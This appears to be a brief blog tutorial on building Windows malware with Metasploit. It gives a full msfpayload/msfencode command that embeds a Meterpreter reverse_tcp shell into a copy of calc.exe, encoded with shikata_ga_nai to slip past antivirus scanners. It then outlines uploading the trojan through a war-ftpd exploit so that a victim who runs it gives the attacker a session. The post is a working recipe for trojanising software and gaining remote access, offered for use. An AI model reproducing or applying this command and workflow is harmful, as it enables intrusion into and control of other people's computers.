In this article we use msfpayload combining with msfencode for generate executable malware will be sent into target system. Before we start, let's we know about them.
Msfpayloads is a tool in Metasploit Framework to generate executable malware based on avaiable payloads.
Msfencode is one of tools in Metasploit Framework used to encode payloads to pass virus scanners protection so we can ensure our payloads is executed by target system. Because, in many cases, basic payloads or exploits can be detected as virus.
Next, we will use calculator application that will be crafted with payload and encoded with msfencode.
Let's create executable malware.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 R | msfencode -t exe -e x86/shikata_ga_nai -x /tmp/calc.exe -k -o calculator.exe -c 5
Now, let's upload it into target. We need scan the target first
We have known target using warfrtd application
Let's exploit it with metasploit
We will use meterpreter payload to upload calculator.exe
We have uploaded it
Now, when target run calculator.exe, we can exploit it.
0 komentar:
Post a Comment